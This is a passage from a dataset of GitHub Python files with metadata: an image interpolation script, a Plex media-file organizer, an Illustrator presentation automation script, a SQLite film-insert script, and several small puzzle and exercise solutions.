1)\n for j in range(0, n2):\n y = round(j / 16)\n if y == n2 / 16:\n y = int(n2 / 16 - 1)\n temp.append(image[x][y][:])\n ans.append(temp)\n ans = numpy.array(ans, dtype='uint8')\n imageio.imsave(name, ans)\n return\n\n\ndef run():\n while True:\n try:\n image = imageio.imread(triangle)\n temp = subsample4(output + 'triangles4.jpg', image)\n interpolation4(output + 'trianglei4.jpg', temp)\n temp = subsample16(output + 'triangles16.jpg', image)\n interpolation16(output + 'trianglei16.jpg', temp)\n break\n except FileNotFoundError:\n save(folder + 'triangle.raw', triangle)\n while True:\n try:\n image = imageio.imread(cat)\n temp = subsample4(output + 'cats4.jpg', image)\n interpolation4(output + 'cati4.jpg', temp)\n temp = subsample16(output + 'cats16.jpg', image)\n interpolation16(output + 'cati16.jpg', temp)\n break\n except FileNotFoundError:\n save(folder + 'cat.raw', cat)\n return\n\n\nif __name__ == '__main__':\n folder = ''\n output = './bin/'\n triangle = output + 'triangle.jpg'\n cat = output + 'cat.jpg'\n n1 = 480\n n2 = 640\n run()\n","repo_name":"Nedhoven/ImageProcessing","sub_path":"src/main/Interpolation.py","file_name":"Interpolation.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23374511805","text":"achou = False \ni = 0 \nfrase = \"clebao\"\n\nwhile (not achou) and (i < len(frase)): \n if i % 2 == 0: \n i += 1 \n continue \n \n if frase[i] == ' ': \n achou = True \n \n i += 1 \nprint(f\"{i}\")","repo_name":"Nesto310/curso","sub_path":"Curso60atividade.py","file_name":"Curso60atividade.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30547300028","text":"#!/usr/bin/env python3\n\n##########################################################\n##########################################################\n## Writen By: Shay Pasvolsky | Apr 21st, 2023 ##\n## Last Update: Apr 22st, 2023 ##\n## Email: spasvolski@gmail.com ##\n## GitHub: https://github.com/shipser ##\n## Gitlab: @shipser ##\n## Licensce: GNU GPLv3 ##\n##########################################################\n##########################################################\n\n###########\n# Imports #\n###########\n\nimport os # Used to build the directory list, rename function\nimport re # For Regex Strings\nimport inquirer # Used in LoadListSelector\n\n#######################\n# Function Defenition #\n#######################\n\n\n# Get all the movie and subtitle files in a path\ndef Get_Files_In_Show_Folder(Show_Path, MFileType, SubFileType):\n \"\"\"\n Get all media file paths in the source folder.\n\n depends on:\n imports:\n os\n\n :param Show_Path: Media folder path to work on.\n :param MFileType: Media file suffix (like .mkv), must have dot at the start.\n :param SubFileType: Subtitle file suffix (like .srt), must have dot at the start.\n :return: [File path array] if found at least one file, [\"Empty\"] if no files found, [\"Error!!\"] on any error.\n \"\"\"\n try:\n Show_Files = [] # Declare blank show file array\n # Get Files\n Show_Files = [os.path.join(root, name) for root, dirs, files in os.walk(\n Show_Path) for name in files if name.lower().endswith((MFileType, SubFileType))]\n # Make sure files were found, if not reset the list\n if (len(Show_Files) == 0):\n Show_Files = [\"Empty\"]\n # Return what was found\n return Show_Files\n except:\n # return an error\n return [\"Error!!\"]\n\n\n# Extract Season and Episode Numbers\ndef Get_Season_Episode(File_Path):\n \"\"\"\n Extract season number and episode number from a media file path.\n\n depends on:\n imports:\n re\n\n :param File_Path: Media file path to work on.\n :return: returns a tuaple of [Season number, Episode number] if extracted, on any error returns a tuaple of [\"Empty\", \"Empty\"]\n \"\"\"\n try:\n # Make Sure To Use Only The File Name And Not The Full Path\n File_Path = re.split(r'/', File_Path)[-1]\n # Get Season Number Without The S\n Seas = re.split(\n r'S', (re.search(r'S\\d+', File_Path.upper()).group()), maxsplit=2)[1]\n # Get Episode Number With The E's\n try:\n # Check for Ex-Ex format for multi-episode\n Epi = re.search(r'E\\d+-E\\d+', File_Path.upper()).group()\n except:\n try:\n # Check for ExEx format for multi-episode\n Epi = re.search(r'E\\d+E\\d+', File_Path.upper()).group()\n except:\n # Check for Ex format for single episode\n Epi = re.search(r'E\\d+', File_Path.upper()).group()\n # Return Season and Episode Number\n return [Seas, Epi]\n except:\n # Return Unvalid Values\n return [\"Empty\", \"Empty\"]\n\n\n# Extract TV Show Or Movie Name\ndef Get_TV_Movie_Name(File_Path, FType, MPfx, SPfx, SLang):\n \"\"\"\n Extract the Movie or TV Show Name from a path to a media file.\n\n depends on:\n imports:\n re\n\n :param File_Path: Media file path to work on.\n :param FType: Media type, must be \"TV\" or \"Movie\".\n :param MPfx: Media file suffix (like .mkv), must have dot at the start.\n :param SPfx: Subtitle file suffix (like .srt), must have dot at the start.\n :param SLang: Languge suffix for the subtitile name, mast have a dot at the start (like .heb).\n :return: returns the Name of the TV Show series or Movie extracted if succeded, if not, returns an error string.\n \"\"\"\n try:\n # Try To Get The TV Show Or Movie Name\n if (FType == \"TV\"):\n TVMovie_Name = re.split(\n r' -', (re.split(r'.S\\d+E\\d+', (re.split(r'/', File_Path)[-1]), flags=re.IGNORECASE)[0]))[0]\n elif (FType == \"Movie\"):\n # Build The Delimiter To Check\n Deli = MPfx.upper() + \"|\" + MPfx.lower() + \"|\" + \\\n SPfx.upper() + \"|\" + SPfx.lower() + \"|\" + SLang.lower() + \"|\" + SLang.upper()\n # Extract The TV Show Or Movie Name\n TVMovie_Name = re.split(Deli, re.split(\n r'/', File_Path)[-1], flags=re.IGNORECASE)[0]\n else:\n TVMovie_Name = \"No_Name\"\n return TVMovie_Name\n except:\n # Return Error\n return \"Not A TV Show Or Movie File!\"\n# os.path.filen\n\n\n# Build New Path To Arrange The File\ndef Build_New_Name(File_Path, Season, Episode, ToM, NName, SLang, MPfx, SPfx):\n \"\"\"\n Build new file name and file path based on plex organization scheme.\n\n depends on:\n imports:\n os\n re\n\n :param File_Path: File path to work on..\n :param Season: Season number for TV Episode file.\n :param Episode: Episode number for TV Episode file.\n :param ToM: For TV Show File Set to \"TV\", For Movie file set to \"Movie\", everything else will give an error.\n :param NName: New TV Show or Movie Name.\n :param SLang: Languge suffix for the subtitile name, mast have a dot at the start (like .heb).\n :param MPfx: Media file suffix (like .mkv), must have dot at the start.\n :param SPfx: Subtitle file suffix (like .srt), must have dot at the start.\n :return: On any undefind error return an array of [\"Error!!!\", \"Error!!!\"], on ToM Error return an array of [\"Error!!\", invalid path], on success return an array of [New File Name, new file path]\n \"\"\"\n try:\n # Get The Current File Directory\n New_Path = os.path.dirname(File_Path) + \"/\"\n # Check if TV Or Movie Title\n if (ToM == \"TV\"):\n # Get Start Episode And End Episode\n Temp_Epi = re.split(r'E|-E', Episode.upper(), maxsplit=2)\n # Build The Episode Name\n New_Name = NName + \" - S\" + Season + \"E\" + Temp_Epi[1]\n # If the original file is a multi episode, adapt the new episode name\n if (len(Temp_Epi) > 2):\n New_Name += \"-E\" + Temp_Epi[2]\n elif (ToM == \"Movie\"):\n # Change The Movie Name To The New Name\n New_Name = NName\n else:\n # Error Out\n New_Name = \"Error!!\"\n # Check if MKV Or SRT file\n if (len(re.split(MPfx.upper(), File_Path.upper())) > 1):\n File_Type = \"Mkv\"\n else:\n File_Type = \"Sub\"\n if (New_Name != \"Error!!\"):\n if (File_Type == \"Sub\"):\n New_Name = New_Name + SLang + SPfx.lower()\n else:\n New_Name += MPfx.lower()\n New_Path += New_Name\n return New_Name, New_Path\n except:\n # Error Out\n return [\"Error!!!\", \"Error!!!\"]\n\n\n# Validate New TV Or Movie Name\ndef Val_New_Name(New_Name_User, Old_Name, New_Name_List):\n \"\"\"\n Check the new name is not enpty or None.\n\n depends on:\n Nothing\n\n :param New_Name_User: TV Show or Movie name supplied by user input.\n :param Old_Name: Original TV Show or Movie name.\n :param New_Name_List: TV Show or Movie name supplied by the user selection from the list.\n :return: The name from the list if available, if not then the user supplied name if available, else the original name.\n \"\"\"\n try:\n # Check if user supplied a new name, if yes, return it.\n if (New_Name_List != \"\" and New_Name_List != None):\n return New_Name_List\n elif (New_Name_User != None):\n return New_Name_User\n else: # Else return the extracted name\n return Old_Name\n except:\n # Return Failed If Failed To Run\n return Old_Name\n\n\n# Move To New Location\ndef Rename_TV_Movie(Org_File, New_Name):\n \"\"\"\n Rename a file.\n\n depends on:\n imports:\n os\n\n :param Org_File: File path to rename.\n :param New_Name: New name for the file.\n :return: True on success, False on any fail.\n \"\"\"\n try:\n # Build The New File Path\n New_Path = os.path.dirname(Org_File) + \"/\" + New_Name\n # Rename The File\n os.rename(Org_File, New_Path)\n return True\n except:\n return False\n\n\n# Check If Path Has More Then One TV Show And / Or Movie\ndef Val_One_TV_Movie(Files_In_Dir, MPfx, SPfx, SLang):\n \"\"\"\n Check if the path has only One TV Show or Movie in it (can be multiple files, jest have to belong to the same TV Show Or Movie).\n\n depends on:\n Functions:\n Get_Season_Episode\n Get_TV_Movie_Name\n\n :param Files_In_Dir: Two dimantional array of files.\n :param MPfx: Media file suffix (like .mkv), must have dot at the start.\n :param SPfx: Subtitle file suffix (like .srt), must have dot at the start.\n :param SLang: Languge suffix for the subtitile name, mast have a dot at the start (like .heb).\n :return: True if all the files belong to one TV Show or Movie, False on any fail or if not.\n \"\"\"\n try:\n Count = 0 # Set blank counter\n # Detect If Movie\n if (Get_Season_Episode(Files_In_Dir[0])[0] == \"Empty\"):\n MoT = \"Movie\"\n else: # Set To TV\n MoT = \"TV\"\n # Get The First TV Show Or Movie Name\n FName = Get_TV_Movie_Name(Files_In_Dir[0], MoT, MPfx, SPfx, SLang)\n for f in Files_In_Dir:\n # Detect If Movie\n if (Get_Season_Episode(f)[0] == \"Empty\"):\n MoT = \"Movie\"\n else: # Set To TV\n MoT = \"TV\"\n # Get The First TV Show Or Movie Name\n F_Name = Get_TV_Movie_Name(f, MoT, MPfx, SPfx, SLang)\n # Check If Not Identical To First Name And Increment The Counter\n if (F_Name != FName):\n Count += 1\n if (Count): # If More Then One Name Return False, Else Return True\n return False\n else:\n return True\n except:\n return False\n\n\n# Move Files Into Correct Location\ndef Move_Media(File_To_Move, New_Location, ToM, SeasPfx, SeasNum):\n \"\"\"\n Move Media file feo source to new location.\n\n depends on:\n imports:\n os\n re\n\n :param File_To_Move: File path to move.\n :param New_Location: Media folder to put the file in..\n :param ToM: if equals to \"TV\" treat as an TV episode file, else as a movie file.\n :param SeasPfx: Season folder prefix (like Season).\n :param SeasNum: season number for the TV Episode file.\n :return: True on success, False on any fail.\n \"\"\"\n try:\n # Check if the Source Exists, if not, exit\n if (not os.path.isfile(File_To_Move)):\n return False\n # Add Season Folder to the new path\n if (ToM == \"TV\" and (New_Location.upper().find(SeasPfx.upper()) == int(\"-1\"))):\n # If New Location Does Not Have / at the end, add it\n if (not New_Location.endswith(\"/\")):\n New_Location = New_Location + \"/\"\n # Add Season Folder Name\n New_Location = New_Location + SeasPfx + \" \" + SeasNum\n # Check if the target exists, if not create it\n if (not os.path.isdir(New_Location)):\n os.makedirs(New_Location)\n # Build The New Path With The Name Of The File\n if (New_Location.endswith(\"/\")):\n New_Location = New_Location + re.split(r'/', File_To_Move)[-1]\n else:\n New_Location = New_Location + \"/\" + \\\n re.split(r'/', File_To_Move)[-1]\n # Check If File Exists in destination and move if not\n if (not os.path.isfile(New_Location)):\n os.rename(File_To_Move, New_Location)\n else: # Abort if alredy exists, and notify the user.\n print(\"File '{}' Already Exists in the new location, File move aborted!\".format(\n re.split(r'/', File_To_Move)[-1]))\n return True\n except:\n return False\n\n\n# Remove Empty Folders\ndef CleanUp_SRC(src, rmsrc=False):\n \"\"\"\n Clean Up the source (src) folder by deleteing hidden files and removeing empty sub folders. if rmsrc is set to true, deletes the parent folder if empty.\n\n depends on:\n imports:\n os\n re\n Functions:\n Is_Dir_Empty\n\n :param src: path of folder to clean up.\n :return: True on success, False on fail.\n \"\"\"\n try:\n # Check Every Folder If Empty And Remove IT\n Files_In_Dir = [os.path.join(root, name) for root, dirs, files in os.walk(\n src) for name in files if name.lower()] # Scan for files in the directory and subdirectorie(s)\n for f in Files_In_Dir: # Itirate threw files\n # Check if it is a hidden file (starts with a .)\n if (re.split(r'/', f.lower())[-1].startswith(\".\")):\n os.remove(f) # Remove the hidden file\n # remove the entery from the list to continue\n Files_In_Dir.remove(f)\n Dirs_In_Dir = [os.path.join(root, name) for root, dirs, files in os.walk(\n src) for name in dirs if name.lower()] # Build a list of all subdirectories\n for d in Dirs_In_Dir: # Itirate threw the sub directories\n if (Is_Dir_Empty(d)): # Check if the subdirectory is empty\n os.rmdir(d) # Remove the subdirectory\n # Remove the subdirectory Entry from the list\n Dirs_In_Dir.remove(d)\n if (not len(Dirs_In_Dir) and rmsrc and Is_Dir_Empty(src)):\n os.rmdir(src)\n return True\n except:\n return False\n\n\n# Check If Dir Is Empty\ndef Is_Dir_Empty(src):\n \"\"\"\n Make sure the folder provided is empty\n\n depends on:\n imports:\n os\n\n :param src: The path to check\n :return: True if empty.\n \"\"\"\n with os.scandir(src) as scan:\n return next(scan, None) is None\n\n\n# Organize The SRC Folder\ndef Org_TV_Movie(src, Msfx, Ssfx, Lsfx, Spfx):\n \"\"\"\n Organize the path provided, put every TV Show or Movie to the correct folder inside the original path.\n\n depends on:\n imports:\n os\n re\n Functions:\n Get_Files_In_Show_Folder\n Get_Season_Episode\n Get_TV_Movie_Name\n Move_Media\n CleanUp_SRC\n\n :param src: folder path to work on.\n :param Msfx: Media file suffix (like .mkv), must have dot at the start.\n :param Ssfx: Subtitle file suffix (like .srt), must have dot at the start.\n :param Lsfx: Languge suffix for the subtitile name, mast have a dot at the start (like .heb).\n :param Spfx: Season folder prefix (like Season).\n :return: True on success, False on any fail.\n \"\"\"\n try:\n # Make Sure The Path Is A Directory\n if (os.path.isdir(src)):\n FDir = Get_Files_In_Show_Folder(\n src, Msfx, Ssfx) # Get the file list\n # Loop threw all the files int the folder\n for f in FDir:\n # Get Season and Episode number for the first file\n Seas, Epi = Get_Season_Episode(re.split(r'/', f)[-1])\n # Check If There Is A Season And Decide If It Is A Movie Or TV\n if (Seas == \"Empty\"): # Movie\n MoT = \"Movie\" # Set Media Type For Futere Use\n else: # TV Show\n MoT = \"TV\" # Set Media Type For Futere Use\n # Extract TV Show Or Movie Name From The File\n TV_Movie_Name = Get_TV_Movie_Name(\n f, MoT, Msfx, Ssfx, Lsfx)\n # Make Sure Tha Path Ends With /\n if (not src.endswith(\"/\")):\n src = src + \"/\"\n # Build The Destination Path\n # Check If The Source Folder Is Uniqe To The TV Show Or Movie, If Not Add The TV Show Or Movie Name To The New Path\n if (src.lower().find(TV_Movie_Name.lower()) != int(\"-1\")):\n dst = src\n else:\n dst = src + TV_Movie_Name + \"/\"\n # Move The File To New Location\n Move_Media(f, dst, MoT, Spfx, Seas)\n # Clean Old Empty Folders\n CleanUp_SRC(src)\n # Return true if success.\n return True\n else:\n print(\"Source provided is not a directory!\")\n return False\n except:\n print(\"Failed to organize the source folder!!\")\n return False\n\n\n# Check Source Directory Path Ends In / If Destination Is\ndef Check_SRC_DST(src, dst):\n \"\"\"\n Check_SRC_DST checks src (source) and dst (destination) last charecter one againset each over and cheks if they both have /.\n If source deosn't have / while dst has - it adds / to the end of src.\n If src has but dst doesn't, it removes the / from src's end.\n examples:\n 1. src = path/, dst = path/ -> result = src = path/\n 2. src = path, dst = path -> result = src = path\n 3. src = path, dst = path/ -> result = src + / = path/\n 4. src = path/, dst = path -> result = src - / = path\n\n depends on:\n Nothing\n\n :param src: the source folder path.\n :param dst: the destination folder path.\n :return: The function returns fixed src after checking it.\n \"\"\"\n try:\n # Set Starting point for non of the conditions met.\n src_t = src\n # Deal with / missing in src and not dst Or Vise Versa\n if (not src.endswith(\"/\") and dst.endswith(\"/\")):\n src_t = src + \"/\" # Add / to src because dst has it and src doesn't\n elif (src.endswith(\"/\") and not dst.endswith(\"/\")):\n # Remove / from because dst doesn't have it and src has it\n src_t = src[:-1]\n return src_t\n except:\n # Return the origianl src if failed\n return src\n\n\n# Build New Path\ndef Build_New_Path(src, TV_Movie_Name):\n \"\"\"\n Function to build new folder path containing the show name (only once).\n\n depends on:\n imports:\n os\n\n :param src: the source folder path.\n :param TV_Movie_Name: the TV Show / Movie name.\n :return: returns new path with the TV Show / Movie name as the last folder, on any fail type, will return the original path.\n \"\"\"\n try:\n # Make Sure The Path Is A Directory\n if (os.path.isdir(src)):\n # Make Sure src Has A Trailing /\n if (not src.endswith(\"/\")):\n src = src + \"/\"\n # Make Sure The Media Name Provided\n if (TV_Movie_Name != \"\"):\n # Check To Make Sure That The Path doesn't have 'Media Name' named folder, and add it to the path\n if (src.lower().find(TV_Movie_Name.lower()) == int(\"-1\")):\n src_t = src + TV_Movie_Name + \"/\"\n else:\n src_t = src\n return src_t\n else:\n print(\"No show name provided!\")\n return src\n else:\n print(\"Fail, not a path!!! \")\n return src\n except:\n print(\"Failed to build a path!\")\n return src\n\n\ndef LoadListSelector(List_Path):\n \"\"\"\n Load a list and prompt the user to select a TV Show Or Movie.\n\n depends on:\n imports:\n os\n inquirer\n re\n\n :param List_Path: path to the list file.\n :return: an array of Show Name, Show folder parant path\n \"\"\"\n try:\n if (os.path.isfile(List_Path)): # Make sure the file exists\n with open(List_Path) as Lines: # Read the file\n # read the contets of the file and split into lines\n Show_List_Unsplit = Lines.read().splitlines()\n Show_List_Names = [] # Set a blank array for the show list\n Show_List_Full = [] # Set a blank array for the show list\n for L in Show_List_Unsplit: # Loop threw the list lines\n Show_List_Names.append(re.split(r' : ', L)[0])\n Show_List_Full.append(re.split(r' : ', L))\n ques = [inquirer.List(\n 'Show', message=\"Please select the TV show / Movie:\", choices=Show_List_Names)] # Built the question\n ans = inquirer.prompt(ques) # prompt the user\n # Loop threw the list to find the index and full data coresponeding the user selection\n for i in range(len(Show_List_Full)):\n # Check if the current position is the user selection, if true go in.\n if Show_List_Full[i][0] == ans['Show']:\n # Set the return value to the full data as an array.\n ret = Show_List_Full[i]\n break # stop the loop\n return ret # return the full data\n else:\n # Did not get a file.\n print(\"Not a Media list file!\")\n return []\n except:\n # Error Out\n print(\"Failed to load list!\")\n return []\n\n\n# Set Flags and Argumanrs\ndef Set_Flags_Args(CleanUP, LoadList, Move, NewSName, Organaize, ReName, Source, MFsfx, MFSsfx, LFsfx, SFpfx):\n \"\"\"\n Load a list and prompt the user to select a TV Show Or Movie.\n\n depends on:\n imports:\n os\n Functions:\n Val_SRC\n Org_TV_Movie\n Get_Files_In_Show_Folder\n Val_One_TV_Movie\n Val_List_File\n LoadListSelector\n Build_New_Path\n Check_SRC_DST\n\n :param CleanUP: True or Flase - Sets remove the main dir as part of the cleanup.\n :param LoadList: None if not used, Path string to a list file if used.\n :param Move: Move the files to new location, Empty if no, None if user did not provide manual path, Path if user provided\n :param NewSName: User provided name to use as a new name for the media. None if not provided, string if provided\n :param Organaize: True or False - if organaizeing is requested.\n :param ReName: True or False - if renameing is requested.\n :param Source: path string to folder of media files.\n :return: returns an array of all the params\n \"\"\"\n # Initialize all the flags\n src = \"\" # Path to source folder\n RM_MasDir = False # Delete user provided path - No by defalut\n Use_List = False # Use external list provided by user - No by default\n List_Valid = False # List provided by user is good - No by Default\n List_Path = \"\" # Empty string for the path to the list file\n Move_Files = False # Move the files to new location\n Move_Path = \"\" # The path to move the files\n ReN = False # Rename media - defaults to No\n NewName = NewSName # Place holder for the New name for the media\n OneSM = False # One TV Show or One Movie in the folder to work on, defaults to No\n Files_In_Dir = [] # Setblank file array\n Org = False # Organaized, False by default\n Answ = False # Blank array to return\n No_Cont = False # Set to false until a fail\n\n try:\n # Check source folder is a path to a folder\n if (os.path.isdir(Source)):\n # Check if the source folder conatins media files\n if (Val_SRC(Source, MFsfx, MFSsfx)):\n # Set the src to the source media folder\n src = Source\n else:\n # Not a media folder\n No_Cont = True\n else:\n # Not a folder\n No_Cont = True\n # Organaize The Source Folder\n if (Organaize and not No_Cont):\n Org = Org_TV_Movie(src, MFsfx, MFSsfx, LFsfx, SFpfx)\n No_Cont = True\n # Make sure no stop condition\n if (not No_Cont):\n # Get the file list\n Files_In_Dir = Get_Files_In_Show_Folder(src, MFsfx, MFSsfx)\n # Check if only One TV Show Or Movie is inside the source folder\n OneSM = Val_One_TV_Movie(\n Files_In_Dir, MFsfx, MFSsfx, LFsfx)\n # Set RM_MasDir to True if user whants to delete the main path as part of the cleanup\n if (CleanUP):\n RM_MasDir = True\n # Check if external media list provided, and if it is a valid list\n if (LoadList != None):\n Use_List = True # User provided a media list file path\n # Validat the file, if valid set the List_Path to the path provided and it's validity to True\n if (Val_List_File(LoadList)):\n List_Path = LoadList\n List_Valid = True\n # Print line Space\n print(\"\")\n # Get The Show list and selext one\n Selected_Show = LoadListSelector(List_Path)\n # Overwrite the manual user input for the TV Show name\n NewName = Selected_Show[0]\n # check if user requested a move\n if (Move != \"Empty\" and OneSM):\n # Set the Move flag to true\n Move_Files = True\n # Save the location to move the show at the end\n Move_Path = Build_New_Path(\n Selected_Show[1], Selected_Show[0])\n # Check if user requested a name change\n if ((ReName or (Use_List and List_Valid))):\n # Set Rename flag to true\n ReN = True\n # Check if files need to move and set params acordingly\n if (Move != \"Empty\" and not (Use_List and List_Valid) and Move != None and NewName != \"\"):\n # Set the Move flag to true\n Move_Files = True\n # Save the location to move the show at the end\n Move_Path = Build_New_Path(Move, NewName)\n # Deal with / missing in src and not dst or Vise Versa\n src = Check_SRC_DST(src, Move_Path)\n # Return the answer\n Answ = True\n except:\n # Error out\n Answ = False\n\n # Return the results\n return [Answ, src, Org, OneSM, RM_MasDir, Use_List, List_Valid, List_Path, ReN, NewName, Move_Files, Move_Path, Files_In_Dir]\n\n\n# Validate List File\ndef Val_List_File(List_Path):\n \"\"\"\n Validate if the path is a valid TV Show and / or Movie File\n\n depends on:\n imports:\n os\n re\n\n :param List_Path: path to media list file to check\n :return: True if a valid file, false in any other case\n \"\"\"\n try:\n # Check if the path is for a file\n if (os.path.isfile(List_Path)):\n with open(List_Path) as Lines: # Read the file\n # read the contets of the file and split into lines\n Show_List_Unsplit = Lines.read().splitlines()\n Show_List_Names = [] # Set a blank array for the show list\n Show_List_Pathes = [] # Set a blank array for the show list\n for L in Show_List_Unsplit: # Loop threw the list lines\n # Build a list of media names\n Show_List_Names.append(re.split(r' : ', L)[0])\n # Build a list of media folder pathes\n Show_List_Pathes.append(re.split(r' : ', L)[1])\n # Check if ther is at list one TV Show or Movie on the list, with at list one path\n if (len(Show_List_Names) > 0 and len(Show_List_Pathes) > 0):\n # Valid media list file\n return True\n else:\n # Not a valid media list file\n return False\n else:\n # the path is not a file\n return False\n except:\n # Error out\n return False\n\n\n# Validate source folder\ndef Val_SRC(Source, MFsfx, MFSsfx):\n \"\"\"\n Validate if the path is a valid TV Show and / or Movie folder\n\n depends on:\n imports:\n os\n functions:\n Get_Files_In_Show_Folder\n\n :param Source: path to media list folder to check\n :param MFsfx: suffix of media files to check for\n :param MFSsfx: suffix of subtitle files to check for\n :return: True if a valid path with at least one media file, false in any other case\n \"\"\"\n try:\n # Check if the path is a directory\n if (os.path.isdir(Source)):\n # Check ther are sutiable media files in the directory\n if (Get_Files_In_Show_Folder(Source, MFsfx, MFSsfx)[0] != \"Empty\"):\n # Source path is valid\n return True\n else:\n # Not a media folder\n return False\n else:\n # Not a directory\n return False\n except:\n # Error out\n return False\n","repo_name":"shipser/Media_Extra_Tools_for_Plex","sub_path":"Functions/Func.py","file_name":"Func.py","file_ext":"py","file_size_in_byte":28857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16391236830","text":"import pyautogui as pag\nfrom subprocess import run\nfrom time import sleep\n\npos = {\n 'repeating_baby': (961, 341),\n 'rivets': (566, 693),\n 'boiler': (977, 700),\n 'forest': (1414, 728)\n }\n\ndef applescript_click(menu, item):\n run(['osascript', '-e', f'''tell application \"System Events\"\ntell process \"Illustrator\"\nclick menu item \"{item}\" of menu \"{menu}\" of menu bar 1\nend tell\nend tell'''])\n\ndef focus_illustrator():\n run(['osascript', '-e', f'''tell application \"System Events\"\ntell process \"Illustrator\"\nset topmost to true\nend tell\nend tell'''])\n\n# def zoom_in():\n# applescript_click('View', 'Zoom In')\n#\n# def zoom_out():\n# applescript_click('View', 'Zoom Out')\n\ndef reset_view():\n pag.press('esc')\n applescript_click('View', 'Presentation Mode')\n pag.moveTo(list(map(lambda x: x-5, pag.size())))\n\n# def scroll(x, y):\n# print(\"uh, scrolling by \", x/100*hscroll_mult, y/100*scroll_mult)\n# pag.hscroll(x/100*hscroll_mult)\n# pag.scroll(y/100*scroll_mult)\n\ndef main():\n for visual in pos:\n print('going to ', visual)\n pag.moveTo(pos[visual])\n input('press for next..')\n\nif __name__ == '__main__':\n focus_illustrator()\n reset_view()\n main()\n pag.moveTo(list(map(lambda x: x/2, pag.size())))\n pag.click()\n pag.press('esc')\n\n","repo_name":"Exr0nRandomProjects/20eng201retConradAchebeColonialism","sub_path":"animate.py","file_name":"animate.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33936175472","text":"from connect import * # This is a module which calls on connect which understands the inputs of \r\nfrom readfilms import * # This importsd the previous file made for a specific function\r\nimport time # The module for the time library\r\n\r\n\r\ndef insertFilms(): #defining the function/procedure of insert films\r\n #create an empty list \r\n films= [] # films empty list place holder for list\r\n \r\n #; ask for user input title, Year_Realeased, Rating, Duration and Genre\r\n \r\n Title = input (\"Enter Film Tiltle: \") #user input for Title\r\n Year_released = input (\"Enter film year_Released: \") #user input for Artist\r\n Rating = input (\"Enter film rating: \") #user input for Artist\r\n Duration = input (\"Enter film duration(mins): \") #user input for Artist\r\n Genre = input (\"Enter film genre: \") #user input for Genre\r\n \r\n # append data from the above inputs\r\n \r\n films.append(Title) # adds the above input title to films = []\r\n films.append(Year_released) # adds the above input year_released to films = []\r\n films.append(Rating) # adds the above input rating to films = []\r\n films.append(Duration) # adds the above input duration to films = []\r\n films.append(Genre) # adds the above input rating to films = []\r\n \r\n # or\r\n # films.extend([title, artist, genre])\r\n \r\n # Insert/add data from the films list into the database in the films table\r\n cursor.execute(\"INSERT INTO tblfilms(Title, Year_released, Rating, Duration, Genre) VALUES(?,?,?,?,?)\", films) #? \"INSERT INTO films() values()\" we use '?' to avoid sql injection\r\n # cursor helps to point at a particular table or data earlier we made an alias for cursor = conn.cursor\r\n conn.commit() #make changes permanent\r\n time.sleep(3) # delay from calling the read file form the readfilms.py file\r\n read() # call read function readfilms.py file\r\n \r\nif __name__ == \"__main__\": \r\n insertFilms()\r\n\r\n\r\n\r\n \r\n \r\n ","repo_name":"Ahsen2603/FilmFlix-Database-Querying","sub_path":"FilmFlix/addfilms.py","file_name":"addfilms.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3611461154","text":"with open(\"2022/2022_1.txt\") as f:\n lines = f.read().splitlines()\n\nsumcals=[]\nsumcal = 0\n\nfor i in range(len(lines)):\n if lines[i] != '':\n sumcal += int(lines[i])\n else:\n sumcals.append(sumcal)\n sumcal = 0\nmax(sumcals)\n\n#PartII\n\nsumcals.sort()\nsum(sumcals[-3:])","repo_name":"mostgiantdoctor/AoC2022","sub_path":"2022_1.py","file_name":"2022_1.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23560081511","text":"import random\r\nfw = open(\"output.out\", \"w\")\r\n\r\ndef getCases():\r\n with open(\"B-large.in\") as f:\r\n lines = f.read().splitlines() \r\n T = int(lines[0])\r\n for t in range(1, T + 1):\r\n s = lines[t]\r\n yield {'t': t, 's': s}\r\n\r\ndef getMyCases():\r\n yield {'t': 1, 's': '442'}\r\n\r\ndef isTidy(n):\r\n previous = 10\r\n while n != 0:\r\n current = n % 10\r\n if current > previous:\r\n return False\r\n nStr = str(n)[0:len(str(n)) - 1] # n = n / 10 is not accurate\r\n if nStr == '':\r\n return True\r\n n = int(nStr)\r\n previous = current\r\n return True\r\n\r\ndef getTidyDelta(n):\r\n nStr = str(n)\r\n if len(nStr) == 1:\r\n return 0\r\n\r\n index = 1\r\n for i in range(1, len(nStr)):\r\n if int(nStr[i]) > int(nStr[i-1]):\r\n index = i + 1\r\n elif int(nStr[i]) < int(nStr[i-1]):\r\n return int(nStr[index:len(nStr)]) + 1\r\n return 0\r\n \r\n \r\nfor T in getCases():\r\n n = int(T['s'])\r\n delta = getTidyDelta(n)\r\n\r\n if not isTidy(n-delta):\r\n print ('Case #' + str(T['t']) + ': ' + str(n - delta))\r\n fw.write('Case #' + str(T['t']) + ': ' + str(n - delta) + '\\n')\r\n\r\n\r\nfw.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3937.py","file_name":"3937.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74581047234","text":"import pickle\nimport numpy as np\n\n\nclass DataProcessor(object):\n\n def __init__(self, FLAGS):\n self.batch_size = FLAGS.batch_size\n self.num_epochs = FLAGS.num_epochs\n self.num_classes = FLAGS.num_classes\n\n def load_data(self, fname):\n with open(fname, 'rb') as f:\n data = pickle.load(f, encoding='bytes')\n return data\n\n def data_generator(self, data):\n num_batches = int(len(data[b'labels']) / self.batch_size)\n for epoch_id in range(self.num_epochs):\n for batch_id in range(num_batches):\n inputs = data[b'data'][batch_id * self.batch_size: (batch_id + 1) * self.batch_size]\n labels = data[b'labels'][batch_id * self.batch_size: (batch_id + 1) * self.batch_size]\n labels = np.eye(self.num_classes)[labels]\n yield inputs, 